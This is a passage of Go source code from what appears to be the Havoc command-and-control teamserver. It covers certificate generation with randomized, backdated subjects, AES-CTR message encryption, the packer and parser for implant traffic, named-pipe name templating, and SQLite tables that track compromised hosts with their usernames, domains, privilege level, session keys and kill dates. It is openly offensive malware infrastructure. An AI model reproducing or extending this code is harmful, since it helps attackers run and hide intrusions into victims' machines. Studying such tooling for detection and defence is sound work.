randomPostalCode(), CommonName: commonName, } } func randomOrganization() []string { name := orgNames[insecureRand.Intn(len(orgNames))] suffix := orgSuffixes[insecureRand.Intn(len(orgSuffixes))] switch insecureRand.Intn(4) { case 0: return []string{strings.TrimSpace(strings.ToLower(name + " " + suffix))} case 1: return []string{strings.TrimSpace(strings.ToUpper(name + " " + suffix))} case 2: return []string{strings.TrimSpace(strings.Title(fmt.Sprintf("%s %s", name, suffix)))} default: return []string{} } } func publicKey(priv interface{}) interface{} { switch k := priv.(type) { case *rsa.PrivateKey: return &k.PublicKey case *ecdsa.PrivateKey: return &k.PublicKey default: return nil } } func randomInt(max int) int { buf := make([]byte, 4) rand.Read(buf) i := binary.LittleEndian.Uint32(buf) return int(i) % max } func pemBlockForKey(priv interface{}) *pem.Block { switch key := priv.(type) { case *rsa.PrivateKey: data := x509.MarshalPKCS1PrivateKey(key) return &pem.Block{Type: "RSA PRIVATE KEY", Bytes: data} case *ecdsa.PrivateKey: data, err := x509.MarshalECPrivateKey(key) if err != nil { logger.Fatal(fmt.Sprintf("Unable to marshal ECDSA private key: %v", err)) } return &pem.Block{Type: "EC PRIVATE KEY", Bytes: data} default: return nil } } func generateCertificate(caType string, subject pkix.Name, isCA bool, isClient bool, privateKey interface{}) ([]byte, []byte) { // Valid times, subtract random days from .Now() notBefore := time.Now() days := randomInt(365) * -1 // Within -1 year notBefore = notBefore.AddDate(0, 0, days) notAfter := notBefore.Add(validFor) logger.Debug(fmt.Sprintf("Valid from %v to %v", notBefore, notAfter)) // Serial number serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128) serialNumber, _ := rand.Int(rand.Reader, serialNumberLimit) logger.Debug(fmt.Sprintf("Serial Number: %d", serialNumber)) var keyUsage = x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature var extKeyUsage []x509.ExtKeyUsage if isCA { logger.Debug("Authority certificate") keyUsage = x509.KeyUsageCertSign | x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature extKeyUsage = []x509.ExtKeyUsage{ x509.ExtKeyUsageServerAuth, x509.ExtKeyUsageClientAuth, } } else if isClient { logger.Debug("Client authentication certificate") extKeyUsage = []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth} } else { logger.Debug("Server authentication certificate") extKeyUsage = []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth} } logger.Debug(fmt.Sprintf("ExtKeyUsage = %v", extKeyUsage)) // Certificate template template := x509.Certificate{ SerialNumber: serialNumber, Subject: subject, NotBefore: notBefore, NotAfter: notAfter, KeyUsage: keyUsage, ExtKeyUsage: extKeyUsage, BasicConstraintsValid: isCA, } if !isClient { // Host or IP address if ip := net.ParseIP(subject.CommonName); ip != nil { logger.Debug(fmt.Sprintf("Certificate authenticates IP address: %v", ip)) template.IPAddresses = append(template.IPAddresses, ip) } else { logger.Debug(fmt.Sprintf("Certificate authenticates host: %v", subject.CommonName)) template.DNSNames = append(template.DNSNames, subject.CommonName) } } else { logger.Debug(fmt.Sprintf("Client certificate authenticates CN: %v", subject.CommonName)) } // Sign certificate or self-sign if CA var certErr error var derBytes []byte if isCA { logger.Debug("Certificate is an AUTHORITY") template.IsCA = true template.KeyUsage |= x509.KeyUsageCertSign derBytes, certErr = x509.CreateCertificate(rand.Reader, &template, &template, publicKey(privateKey), privateKey) } if certErr != nil { // We maybe don't want this to be fatal, but it should basically never happen afaik logger.Fatal(fmt.Sprintf("Failed to create certificate: %s", certErr)) } // Encode certificate and key certOut := bytes.NewBuffer([]byte{}) pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: derBytes}) keyOut := bytes.NewBuffer([]byte{}) pem.Encode(keyOut, pemBlockForKey(privateKey)) return certOut.Bytes(), keyOut.Bytes() } // HTTPSGenerateRSACertificate - Generate a server certificate signed with a given CA func HTTPSGenerateRSACertificate(host string) ([]byte, []byte, error) { logger.Debug(fmt.Sprintf("Generating TLS certificate (RSA) for '%s' ...", host)) var privateKey interface{} var err error // Generate private key privateKey, err = rsa.GenerateKey(rand.Reader, RSAKeySize) if err != nil { logger.Debug("Failed to generate private key %s", err) return nil, nil, err } subject := randomSubject(host) cert, key := generateCertificate(HTTPSCA, (*subject), true, false, privateKey) // err = saveCertificate(HTTPSCA, RSAKey, host, cert, key) return cert, key, err } ================================================ FILE: teamserver/pkg/common/crypt/aes.go ================================================ package crypt import ( "crypto/aes" "crypto/cipher" "Havoc/pkg/logger" ) func XCryptBytesAES256(XBytes []byte, AESKey []byte, AESIv []byte) []byte { var ( ReverseXBytes = make([]byte, len(XBytes)) ) block, err := aes.NewCipher(AESKey) if err != nil { logger.Error("Decryption Error: " + err.Error()) return []byte{} } stream := cipher.NewCTR(block, AESIv) stream.XORKeyStream(ReverseXBytes, XBytes) return ReverseXBytes } ================================================ FILE: teamserver/pkg/common/packer/packer.go ================================================ package packer import ( "bytes" "encoding/binary" "Havoc/pkg/common" "Havoc/pkg/common/crypt" "Havoc/pkg/logger" ) // TODO: rework this type Packer struct { data []byte size int AesKey []byte AesIV []byte } func NewPacker(AesKey, AesIV []byte) *Packer { var packer = new(Packer) packer.AesKey = AesKey packer.AesIV = AesIV return packer } func (p *Packer) AddInt64(data int64) { var buffer = make([]byte, 8) binary.LittleEndian.PutUint64(buffer, uint64(data)) p.data = append(p.data, buffer...) p.size += 8 } func (p *Packer) AddInt32(data int32) { var buffer = make([]byte, 4) binary.LittleEndian.PutUint32(buffer, uint32(data)) p.data = append(p.data, buffer...) p.size += 4 } func (p *Packer) AddInt(data int) { var buffer = make([]byte, 4) binary.LittleEndian.PutUint32(buffer, uint32(data)) p.data = append(p.data, buffer...) p.size += 4 } // AddUInt32 use a much as possible this function func (p *Packer) AddUInt32(data uint32) { var buffer = make([]byte, 4) binary.LittleEndian.PutUint32(buffer, data) p.data = append(p.data, buffer...) p.size += 4 } func (p *Packer) AddString(data string) { p.AddBytes(common.EncodeUTF8(data)) } func (p *Packer) AddWString(data string) { p.AddBytes(common.EncodeUTF16(data)) } func (p *Packer) AddBytes(data []byte) { var buffer = make([]byte, 4) binary.LittleEndian.PutUint32(buffer, uint32(len(data))) p.data = append(p.data, buffer...) p.data = append(p.data, data...) p.size += 4 p.size += len(data) } func (p *Packer) Build() []byte { var Temp = make([]byte, 32) if bytes.Compare(p.AesKey, Temp) == 0 { return p.data } logger.Debug("No Aes Key specified") if (p.AesKey != nil) || (p.AesIV != nil) { p.data = crypt.XCryptBytesAES256(p.data, p.AesKey, p.AesIV) } return p.data } func (p *Packer) Buffer() []byte { return p.data } func (p *Packer) Size() int { return p.size } func (p *Packer) AddOwnSizeFirst() { var oldData = p.data p.AddInt(len(oldData)) p.AddBytes(oldData) p.size += 4 } ================================================ FILE: teamserver/pkg/common/parser/parser.go ================================================ package parser import ( "encoding/binary" "Havoc/pkg/common" "Havoc/pkg/common/crypt" ) type ReadType int const ( ReadInt32 ReadType = iota ReadInt64 ReadBytes ReadPointer ReadBool ) type Parser struct { buffer []byte bigEndian bool } func NewParser(buffer []byte) *Parser { var parser = new(Parser) parser.buffer = buffer parser.bigEndian = true return parser } func (p *Parser) CanIRead(ReadTypes []ReadType) bool { integer := make([]byte, 4) number := 0 BytesRead := 0 TotalSize := p.Length() for _, Type := range ReadTypes { switch Type { case ReadInt32: if TotalSize - BytesRead < 4 { return false } BytesRead += 4 case ReadInt64: if TotalSize - BytesRead < 8 { return false } BytesRead += 8 case ReadPointer: if TotalSize - BytesRead < 8 { return false } BytesRead += 8 case ReadBool: if TotalSize - BytesRead < 4 { return false } BytesRead += 4 case ReadBytes: if TotalSize - BytesRead < 4 { return false } for i := range integer { integer[i] = 0 } copy(integer, p.buffer[BytesRead:BytesRead+4]) if p.bigEndian { number = int(binary.BigEndian.Uint32(integer)) } else { number = int(binary.LittleEndian.Uint32(integer)) } BytesRead += 4 if TotalSize - BytesRead < number { return false } BytesRead += number } } return true } func (p *Parser) ParseInt32() int { var integer = make([]byte, 4) for i := range integer { integer[i] = 0 } if p.Length() >= 4 { if p.Length() == 4 { copy(integer, p.buffer[:p.Length()]) p.buffer = []byte{} } else { copy(integer, p.buffer[:p.Length()-4]) p.buffer = p.buffer[4:] } } if p.bigEndian { return int(binary.BigEndian.Uint32(integer)) } else { return int(binary.LittleEndian.Uint32(integer)) } } func (p *Parser) ParseInt64() int64 { var integer = make([]byte, 8) for i := range integer { integer[i] = 0 } if p.Length() >= 8 { if p.Length() == 8 { copy(integer, p.buffer[:p.Length()]) p.buffer = []byte{} } else { copy(integer, p.buffer[:p.Length()-8]) p.buffer = p.buffer[8:] } } if p.bigEndian { return int64(binary.BigEndian.Uint64(integer)) } else { return int64(binary.LittleEndian.Uint64(integer)) } } func (p *Parser) ParseBool() bool { var integer = make([]byte, 4) for i := range integer { integer[i] = 0 } if p.Length() >= 4 { if p.Length() == 4 { copy(integer, p.buffer[:p.Length()]) p.buffer = []byte{} } else { copy(integer, p.buffer[:p.Length()-4]) p.buffer = p.buffer[4:] } } if p.bigEndian { return int(binary.BigEndian.Uint32(integer)) != 0 } else { return int(binary.LittleEndian.Uint32(integer)) != 0 } } func (p *Parser) ParsePointer() int64 { return p.ParseInt64() } func (p *Parser) SetBigEndian(bigEndian bool) { p.bigEndian = bigEndian } func (p *Parser) ParseBytes() []byte { var bytesBuffer []byte if p.Length() >= 4 { BytesSize := uint(p.ParseInt32()) if BytesSize > uint(p.Length()) { bytesBuffer, p.buffer = p.buffer[:p.Length()], p.buffer[p.Length():] } else { bytesBuffer, p.buffer = p.buffer[:BytesSize], p.buffer[BytesSize:] } } return bytesBuffer } func (p *Parser) ParseAtLeastBytes(NumberOfBytes int) []byte { var bytesBuffer []byte if NumberOfBytes > p.Length() { bytesBuffer, p.buffer = p.buffer[:len(p.buffer)], p.buffer[len(p.buffer):] } else { bytesBuffer, p.buffer = p.buffer[:NumberOfBytes], p.buffer[NumberOfBytes:] } return bytesBuffer } func (p *Parser) ParseUTF16String() string { return common.StripNull(common.DecodeUTF16(p.ParseBytes())) } func (p *Parser) ParseString() string { return common.StripNull(string(p.ParseBytes())) } func (p *Parser) Length() int { return len(p.buffer) } func (p *Parser) Buffer() []byte { return p.buffer } func (p *Parser) DecryptBuffer(AESKey []byte, AESIv []byte) { p.buffer = crypt.XCryptBytesAES256(p.buffer, AESKey, AESIv) } ================================================ FILE: teamserver/pkg/common/util.go ================================================ package common import ( "bufio" "bytes" "encoding/binary" "fmt" "image/png" "time" "io" "math/rand" "net" "strconv" "unicode/utf16" "unicode/utf8" "regexp" "errors" "strings" "Havoc/pkg/logger" "golang.org/x/image/bmp" "golang.org/x/text/encoding/unicode" ) func ParseWorkingHours(WorkingHours string) (int32, error) { /* * The working hours are packed in a uint32 * X: enabled or not * A: start hour * B: start minute * C: end hour * D: end minute * XAAAAABBBBBBCCCCCDDDDDD * 00000000010000011111100000111111 * ------------32 bits------------- */ var ( IntWorkingHours int32 = 0 ) if WorkingHours != "" { match, err := regexp.MatchString("^[12]?[0-9]:[0-6][0-9]-[12]?[0-9]:[0-6][0-9]$", WorkingHours) if err != nil || match == false { return IntWorkingHours, errors.New("Failed to parse the WorkingHours: Invalid format for working hours, use: 8:00-17:00") } startAndEnd := strings.Split(WorkingHours, "-") startHourandMinutes := strings.Split(startAndEnd[0], ":") endHourandMinutes := strings.Split(startAndEnd[1], ":") startHour, _ := strconv.Atoi(startHourandMinutes[0]) startMin , _ := strconv.Atoi(startHourandMinutes[1]) endHour, _ := strconv.Atoi(endHourandMinutes[0]) endMin, _ := strconv.Atoi(endHourandMinutes[1]) if startHour < 0 || startHour > 24 || endHour < 0 || endHour > 24 || startMin < 0 || startMin > 60 || endMin < 0 || endMin > 60 { return IntWorkingHours, errors.New("Failed to parse the WorkingHours: Invalid hour or minute defined in working hours") } if endHour < startHour || (startHour == endHour && endMin <= startMin) { return IntWorkingHours, errors.New("Failed to parse the WorkingHours: Then end hour can't be sooner than the start hour") } // set the "enabled" bit IntWorkingHours |= 1 << 22 IntWorkingHours |= (int32(startHour) & 0b011111) << 17 IntWorkingHours |= (int32(startMin) & 0b111111) << 11 IntWorkingHours |= (int32(endHour) & 0b011111) << 6 IntWorkingHours |= (int32(endMin) & 0b111111) << 0 } return IntWorkingHours, nil } func Bmp2Png(BmpBytes []byte) []byte { var ( f io.Writer Bytes bytes.Buffer ) f = bufio.NewWriter(&Bytes) Image, err := bmp.Decode(bytes.NewReader(BmpBytes)) if err != nil { logger.Error("Failed to decode bmp: " + err.Error()) return nil } err = png.Encode(f, Image) if err != nil { logger.Error("Failed to write png file: " + err.Error()) return nil } return Bytes.Bytes() } func DecodeUTF16(b []byte) string { var ( u16s = make([]uint16, 1) b8buf = make([]byte, 4) ret = &bytes.Buffer{} ) lb := len(b) for i := 0; i < lb; i += 2 { u16s[0] = uint16(b[i]) + (uint16(b[i+1]) << 8) r := utf16.Decode(u16s) n := utf8.EncodeRune(b8buf, r[0]) ret.Write(b8buf[:n]) } return ret.String() } func EncodeUTF16(s string) []byte { var err error // in C, strings terminate with a null-byte if strings.HasSuffix(s, "\x00") == false { s += "\x00" } uni := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM) encoded, err := uni.NewEncoder().String(s) if err != nil { logger.Error("Failed to convert UTF8 to UTF16") return []byte("") } return []byte(encoded) } func EncodeUTF8(s string) []byte { // in C, strings terminate with a null-byte if strings.HasSuffix(s, "\x00") == false { s += "\x00" } return []byte(s) } func ByteCountSI(b int64) string { const unit = 1000 if b < unit { return fmt.Sprintf("%d B", b) } div, exp := int64(unit), 0 for n := b / unit; n >= unit; n /= unit { div *= unit exp++ } return fmt.Sprintf("%.2f %cB", float64(b)/float64(div), "kMGTPE"[exp]) } func XorCipher(input, key string) (output string) { for i := 0; i < len(input); i++ { output += string(input[i] ^ key[i%len(key)]) } return output } func RandomString(n int) string { var chars = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0987654321") str := make([]rune, n) for i := range str { str[i] = chars[rand.Intn(len(chars))] } return string(str) } func Int32ToLittle(x uint32) uint32 { bs := make([]byte, 4) binary.LittleEndian.PutUint32(bs, x) return binary.LittleEndian.Uint32(bs) } func StripNull(s string) string { return string(bytes.Trim([]byte(s), "\x00")) } func PercentageChange(part int, total int64) float64 { return (float64(part) * float64(100)) / float64(total) } func IpStringToInt32(ip string) (int, error) { var long uint32 err := binary.Read(bytes.NewBuffer(net.ParseIP(ip).To4()), binary.LittleEndian, &long) if err != nil { return 0, err } return int(long), nil } func Int32ToIpString(ipInt int64) string { // need to do two bit shifting and “0xff” masking b0 := strconv.FormatInt((ipInt>>24)&0xff, 10) b1 := strconv.FormatInt((ipInt>>16)&0xff, 10) b2 := strconv.FormatInt((ipInt>>8)&0xff, 10) b3 := strconv.FormatInt(ipInt&0xff, 10) return b3 + "." + b2 + "." + b1 + "." + b0 } func EpochTimeToSystemTime( EpochTime int64 ) int64 { var ( UNIX_TIME_START int64 = 0x019DB1DED53E8000 //January 1, 1970 (start of Unix epoch) in "ticks" TICKS_PER_SECOND int64 = 10000000 //a tick is 100ns ) if (EpochTime == 0) { return 0 } return ( EpochTime * TICKS_PER_SECOND ) + UNIX_TIME_START } func GetRandomChar(dict string) string { return string(dict[rand.Intn(len(dict))]) } // generate a PipeName from a name template func GeneratePipeName(Template string, PID int, TID int) string { var PipeName = Template hexdigits := "0123456789abcdef" digits := "0123456789" ascii_uppercase := "ABCDEFGHIJKLMNOPQRSTUVWXYZ" ascii_lowercase := "abcdefghijklmnopqrstuvwxyz" rand.Seed(time.Now().UnixNano()) // add the process PID (if specified) if PID != 0 { PipeName = strings.Replace(PipeName, "{pid}", fmt.Sprintf("%d", PID), -1) PipeName = strings.Replace(PipeName, "{Pid}", fmt.Sprintf("%d", PID), -1) PipeName = strings.Replace(PipeName, "{PID}", fmt.Sprintf("%d", PID), -1) } // add the process TID (if specified) if TID != 0 { PipeName = strings.Replace(PipeName, "{tid}", fmt.Sprintf("%d", TID), -1) PipeName = strings.Replace(PipeName, "{Tid}", fmt.Sprintf("%d", TID), -1) PipeName = strings.Replace(PipeName, "{TID}", fmt.Sprintf("%d", TID), -1) } // #: hex char for strings.Contains(PipeName, "$") { PipeName = strings.Replace(PipeName, "$", GetRandomChar(hexdigits), 1) } // #: number for strings.Contains(PipeName, "#") { PipeName = strings.Replace(PipeName, "#", GetRandomChar(digits), 1) } // !: uppercase char for strings.Contains(PipeName, "@") { PipeName = strings.Replace(PipeName, "@", GetRandomChar(ascii_uppercase), 1) } // !: lowercase char for strings.Contains(PipeName, "!") { PipeName = strings.Replace(PipeName, "!", GetRandomChar(ascii_lowercase), 1) } // make sure the pipename starts with \\.\pipe\ if strings.HasPrefix(PipeName, "\\\\.\\pipe\\") == false { PipeName = "\\\\.\\pipe\\" + PipeName } return PipeName } func GetInterfaceIpv4Addr(interfaceOrIp string) string { var ( ief *net.Interface addrs []net.Addr ipv4Addr net.IP err error ) if ief, err = net.InterfaceByName(interfaceOrIp); err != nil { // get interface return interfaceOrIp } if addrs, err = ief.Addrs(); err != nil { // get addresses return interfaceOrIp } for _, addr := range addrs { // get ipv4 address if ipv4Addr = addr.(*net.IPNet).IP.To4(); ipv4Addr != nil { break } } if ipv4Addr == nil { return interfaceOrIp } return ipv4Addr.String() } ================================================ FILE: teamserver/pkg/db/agents.go ================================================ package db import ( "errors" "fmt" "strconv" "encoding/base64" "Havoc/pkg/agent" ) func (db *DB) AgentAdd(agent *agent.Agent) error { var err error var AgentID int64 AgentID, err = strconv.ParseInt(agent.NameID, 16, 32) if err != nil { return err } /* check if it's a new db */ if db.Existed() { /* check if agent already exists */ if db.AgentExist(int(AgentID)) { return nil } } else { /* check if agent already exists */ if db.AgentExist(int(AgentID)) { return errors.New(fmt.Sprintf("agent %x already exist in db", agent.NameID)) } } /* prepare some arguments to execute for the sqlite db */ stmt, err := db.db.Prepare("INSERT INTO TS_Agents ( AgentID, Active, Reason, AESKey, AESIv, Hostname, Username, DomainName, ExternalIP, InternalIP, ProcessName, BaseAddress, ProcessPID, ProcessTID, ProcessPPID, ProcessArch, Elevated, OSVersion, OSArch, SleepDelay, SleepJitter, KillDate, WorkingHours, FirstCallIn, LastCallIn) values(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)") if err != nil { return err } /* add the data to the agent table */ _, err = stmt.Exec( int(AgentID), 1, "", base64.StdEncoding.EncodeToString(agent.Encryption.AESKey), base64.StdEncoding.EncodeToString(agent.Encryption.AESIv), agent.Info.Hostname, agent.Info.Username, agent.Info.DomainName, agent.Info.ExternalIP, agent.Info.InternalIP, agent.Info.ProcessName, agent.Info.BaseAddress, agent.Info.ProcessPID, agent.Info.ProcessTID, agent.Info.ProcessPPID, agent.Info.ProcessArch, agent.Info.Elevated, agent.Info.OSVersion, agent.Info.OSArch, agent.Info.SleepDelay, agent.Info.SleepJitter, agent.Info.KillDate, agent.Info.WorkingHours, agent.Info.FirstCallIn, agent.Info.LastCallIn) if err != nil { return err } stmt.Close() return nil } func (db *DB) AgentUpdate(agent *agent.Agent) error { var err error var AgentID int64 var active int AgentID, err = strconv.ParseInt(agent.NameID, 16, 32) if err != nil { return err } /* check if agent already exists */ if db.AgentExist(int(AgentID)) == false { return errors.New("Agent does not exist") } /* prepare some arguments to execute for the sqlite db */ stmt, err := db.db.Prepare("UPDATE TS_Agents SET Active = ?, Reason = ?, AESKey = ?, AESIv = ?, Hostname = ?, Username = ?, DomainName = ?, ExternalIP = ?, InternalIP = ?, ProcessName = ?, BaseAddress = ?, ProcessPID = ?, ProcessTID = ?, ProcessPPID = ?, ProcessArch = ?, Elevated = ?, OSVersion = ?, OSArch = ?, SleepDelay = ?, SleepJitter = ?, KillDate = ?, WorkingHours = ?, FirstCallIn = ?, LastCallIn = ? WHERE AgentID = ?") if err != nil { return err } if agent.Active { active = 1 } else { active = 0 } /* add the data to the agent table */ _, err = stmt.Exec( active, agent.Reason, base64.StdEncoding.EncodeToString(agent.Encryption.AESKey), base64.StdEncoding.EncodeToString(agent.Encryption.AESIv), agent.Info.Hostname, agent.Info.Username, agent.Info.DomainName, agent.Info.ExternalIP, agent.Info.InternalIP, agent.Info.ProcessName, agent.Info.BaseAddress, agent.Info.ProcessPID, agent.Info.ProcessTID, agent.Info.ProcessPPID, agent.Info.ProcessArch, agent.Info.Elevated, agent.Info.OSVersion, agent.Info.OSArch, agent.Info.SleepDelay, agent.Info.SleepJitter, agent.Info.KillDate, agent.Info.WorkingHours, agent.Info.FirstCallIn, agent.Info.LastCallIn, int(AgentID)) if err != nil { return err } stmt.Close() return nil } func (db *DB) AgentHasDied(AgentID int) bool { // prepare some arguments to execute for the sqlite db stmt, err := db.db.Prepare("UPDATE TS_Agents SET Active = 0 WHERE AgentID = ?") if err != nil { return false } // execute statement _, err = stmt.Exec(AgentID) stmt.Close() if err != nil { return false } return true } func (db *DB) AgentExist(AgentID int) bool { // prepare some arguments to execute for the sqlite db stmt, err := db.db.Prepare("SELECT COUNT(*) FROM TS_Agents WHERE AgentID = ?") if err != nil { return false } // execute statement query, err := stmt.Query(AgentID) defer query.Close() if err != nil { return false } for query.Next() { var NumRows int query.Scan(&NumRows) if NumRows == 1 { return true } else { return false } } return false } func (db *DB) AgentRemove(AgentID int) error { // prepare some arguments to execute for the sqlite db stmt, err := db.db.Prepare("DELETE FROM TS_Agents WHERE AgentID = ?") if err != nil { return err } // execute statement _, err = stmt.Exec(AgentID) stmt.Close() if err != nil { return err } return nil } func (db *DB) AgentAll() []*agent.Agent { var Agents []*agent.Agent query, err := db.db.Query("SELECT AgentID, Active, Reason, AESKey, AESIv, Hostname, Username, DomainName, ExternalIP, InternalIP, ProcessName, BaseAddress, ProcessPID, ProcessTID, ProcessPPID, ProcessArch, Elevated, OSVersion, OSArch, SleepDelay, SleepJitter, KillDate, WorkingHours, FirstCallIn, LastCallIn FROM TS_Agents WHERE Active = 1") if err != nil { return nil } defer query.Close() for query.Next() { var ( AgentID int Active int Reason string AESKey string AESIv string Hostname string Username string DomainName string ExternalIP string InternalIP string ProcessName string BaseAddress int64 ProcessPID int ProcessTID int ProcessPPID int ProcessArch string Elevated string OSVersion string OSArch string SleepDelay int SleepJitter int KillDate int64 WorkingHours int32 FirstCallIn string LastCallIn string ) /* read the selected items */ err = query.Scan(&AgentID, &Active, &Reason, &AESKey, &AESIv, &Hostname, &Username, &DomainName, &ExternalIP, &InternalIP, &ProcessName, &BaseAddress, &ProcessPID, &ProcessTID, &ProcessPPID, &ProcessArch, &Elevated, &OSVersion, &OSArch, &SleepDelay, &SleepJitter, &KillDate, &WorkingHours, &FirstCallIn, &LastCallIn) if err != nil { /* at this point we failed * just return the collected agents */ return Agents } BytesAESKey, _ := base64.StdEncoding.DecodeString(AESKey) BytesAESIv, _ := base64.StdEncoding.DecodeString(AESIv) var Agent = &agent.Agent{ Encryption: struct { AESKey []byte AESIv []byte }{ AESKey: BytesAESKey, AESIv: BytesAESIv, }, Active: Active == 1, Reason: Reason, SessionDir: "", Info: new(agent.AgentInfo), } Agent.NameID = fmt.Sprintf("%08x", AgentID) Agent.SessionDir = "" Agent.BackgroundCheck = false Agent.TaskedOnce = true Agent.Info.MagicValue = agent.DEMON_MAGIC_VALUE Agent.Info.Listener = nil Agent.Info.Hostname = Hostname Agent.Info.Username = Username Agent.Info.DomainName = DomainName Agent.Info.ExternalIP = ExternalIP Agent.Info.InternalIP = InternalIP Agent.Info.ProcessName = ProcessName Agent.Info.BaseAddress = BaseAddress Agent.Info.ProcessPID = ProcessPID Agent.Info.ProcessTID = ProcessTID Agent.Info.ProcessPPID = ProcessPPID Agent.Info.ProcessArch = ProcessArch Agent.Info.Elevated = Elevated Agent.Info.OSVersion = OSVersion Agent.Info.OSArch = OSArch Agent.Info.SleepDelay = SleepDelay Agent.Info.SleepJitter = SleepJitter Agent.Info.KillDate = KillDate Agent.Info.WorkingHours = WorkingHours Agent.Info.FirstCallIn = FirstCallIn Agent.Info.LastCallIn = LastCallIn /* append collected agent to agent array */ Agents = append(Agents, Agent) } return Agents } ================================================ FILE: teamserver/pkg/db/db.go ================================================ package db import ( "database/sql" "os" _ "github.com/mattn/go-sqlite3" ) type DB struct { existed bool db *sql.DB path string } func DatabaseNew(dbpath string) (*DB, error) { var ( db = new(DB) err error ) db.path = dbpath db.existed = true if _, err = os.Stat(dbpath); os.IsNotExist(err) { db.existed = false } /* creates and or opens a db */ db.db, err = sql.Open("sqlite3", db.path) if err != nil { return nil, err } if !db.existed { /* create db tables */ err = db.init() if err != nil { return nil, err } } return db, nil } func (db *DB) init() error { var err error _, err = db.db.Exec(`CREATE TABLE "TS_Listeners" ("Name" text UNIQUE, "Protocol" text, "Config" text);`) if err != nil { return err } _, err = db.db.Exec(`CREATE TABLE "TS_Agents" ("AgentID" int, "Active" int, "Reason" string, "AESKey" string, "AESIv" string, "Hostname" string, "Username" string, "DomainName" string, "ExternalIP" string, "InternalIP" string, "ProcessName" string, BaseAddress int, "ProcessPID" int, "ProcessTID" int, "ProcessPPID" int, "ProcessArch" string, "Elevated" string, "OSVersion" string, "OSArch" string, "SleepDelay" int, "SleepJitter" int, "KillDate" int, "WorkingHours" int, "FirstCallIn" string, "LastCallIn" string);`) if err != nil { return err } _, err = db.db.Exec(`CREATE TABLE "TS_Links" ("ParentAgentID" int, "LinkAgentID" int);`) if err != nil { return err } return nil } func (db *DB) Existed() bool { return db.existed } func (db *DB) Path() string { return db.path } ================================================ FILE: teamserver/pkg/db/links.go ================================================ package db import ( "errors" //"log" ) func (db *DB) LinkAdd(ParentAgentID int, LinkAgentID int) error { var err error /* check if it's a new db */ if db.Existed() { /* check if listener already exists */ if db.LinkExist(ParentAgentID, LinkAgentID) { return nil } } else { /* check if listener already exists */ if db.LinkExist(ParentAgentID, LinkAgentID) { return errors.New("Link already exist in db") } } /* prepare some arguments to execute for the sqlite db */ stmt, err := db.db.Prepare("INSERT INTO TS_Links (ParentAgentID, LinkAgentID) values(?,?)") if err != nil { return err } /* add the data to the links table */ _, err = stmt.Exec(ParentAgentID, LinkAgentID) if err != nil { return err } stmt.Close() return nil } func (db *DB) LinkExist(ParentAgentID int, LinkAgentID int) bool { // prepare some arguments to execute for the sqlite db stmt, err := db.db.Prepare("SELECT COUNT(*) FROM TS_Links WHERE ParentAgentID = ? AND LinkAgentID = ?") if err != nil { return false } // execute statement query, err := stmt.Query(ParentAgentID, LinkAgentID) defer query.Close() if err != nil { return false } for query.Next() { var NumRows int query.Scan(&NumRows) if NumRows == 1 { return true } else { return false } } return false } func (db *DB) ParentOf(AgentID int) (int, error) { var ( ID int ) // prepare some arguments to execute for the sqlite db stmt, err := db.db.Prepare("SELECT ParentAgentID FROM TS_Links WHERE LinkAgentID = ?") if err != nil { return 0, err } // execute statement query, err := stmt.Query(AgentID) defer query.Close() if err != nil { return 0, err } for query.Next() { if err = query.Scan(&ID); err != nil { return 0, err } return ID, nil } return 0, errors.New("Parent not found") } func (db *DB) LinksOf(AgentID int) []int { var ( ID int IDs []int ) // prepare some arguments to execute for the sqlite db stmt, err := db.db.Prepare("SELECT LinkAgentID FROM TS_Links WHERE ParentAgentID = ?") if err != nil { return IDs } // execute statement query, err := stmt.Query(AgentID) defer query.Close() if err != nil { return IDs } for query.Next() { if err = query.Scan(&ID); err != nil { return IDs } IDs = append(IDs, ID) } return IDs } func (db *DB) LinkRemove(ParentAgentID int, LinkAgentID int) error { // prepare some arguments to execute for the sqlite db stmt, err := db.db.Prepare("DELETE FROM TS_Links WHERE ParentAgentID = ? AND LinkAgentID = ?") if err != nil { return err } // execute statement _, err = stmt.Exec(ParentAgentID, LinkAgentID) stmt.Close() if err != nil { return err } return nil } ================================================ FILE: teamserver/pkg/db/listeners.go ================================================ package db import ( "errors" "log" ) func (db *DB) ListenerAdd(Name, Protocol, Config string) error { var err error /* check if it's a new db */ if db.Existed() { /* check if listener already exists */ if db.ListenerExist(Name) { return nil } } else { /* check if listener already exists */ if db.ListenerExist(Name) { return errors.New("listener \"" + Name + "\"already exist in db") } } /* prepare some arguments to execute for the sqlite db */ stmt, err := db.db.Prepare("INSERT INTO TS_Listeners (Name, Protocol, Config) values(?,?,?)") if err != nil { return err } /* add the data to the listener table */ _, err = stmt.Exec(Name, Protocol, Config) if err != nil { return err } stmt.Close() return nil } func (db *DB) ListenerExist(Name string) bool { query, err := db.db.Query("SELECT Name FROM TS_Listeners") if err != nil { return false } defer query.Close() for query.Next() { var QueryName string query.Scan(&QueryName) if Name == QueryName { return true } } return false } func (db *DB) ListenerAll() []map[string]string { var Listeners []map[string]string query, err := db.db.Query("SELECT Name, Protocol, Config FROM TS_Listeners") if err != nil { return nil } defer query.Close() for query.Next() { var ( Name string Prot string Conf string Data map[string]string ) /* read the selected items */ err = query.Scan(&Name, &Prot, &Conf) if err != nil { /* at this point we failed * just return the collected listeners */ return Listeners } Data = map[string]string{ "Name": Name, "Protocol": Prot, "Config": Conf, } /* append collected listener to listener array */ Listeners = append(Listeners, Data) } return Listeners } func (db *DB) ListenerCount() int { var Count int query, err := db.db.Query("SELECT COUNT(*) FROM TS_Listeners") if err != nil { return 0 } defer query.Close() for query.Next() { if err = query.Scan(&Count); err != nil { log.Fatal(err) } } return Count } func (db *DB) ListenerNames() []string { var ( Name string Names []string ) query, err := db.db.Query("SELECT Name FROM TS_Listeners") if err != nil { return nil } defer query.Close() for query.Next() { if err = query.Scan(&Name); err != nil { return Names } Names = append(Names, Name) } return Names } func (db *DB) ListenerRemove(Name string) error { // prepare some arguments to execute for the sqlite db stmt, err := db.db.Prepare("DELETE FROM TS_Listeners WHERE Name = ?") if err != nil { return err } // execute statement _, err = stmt.Exec(Name) 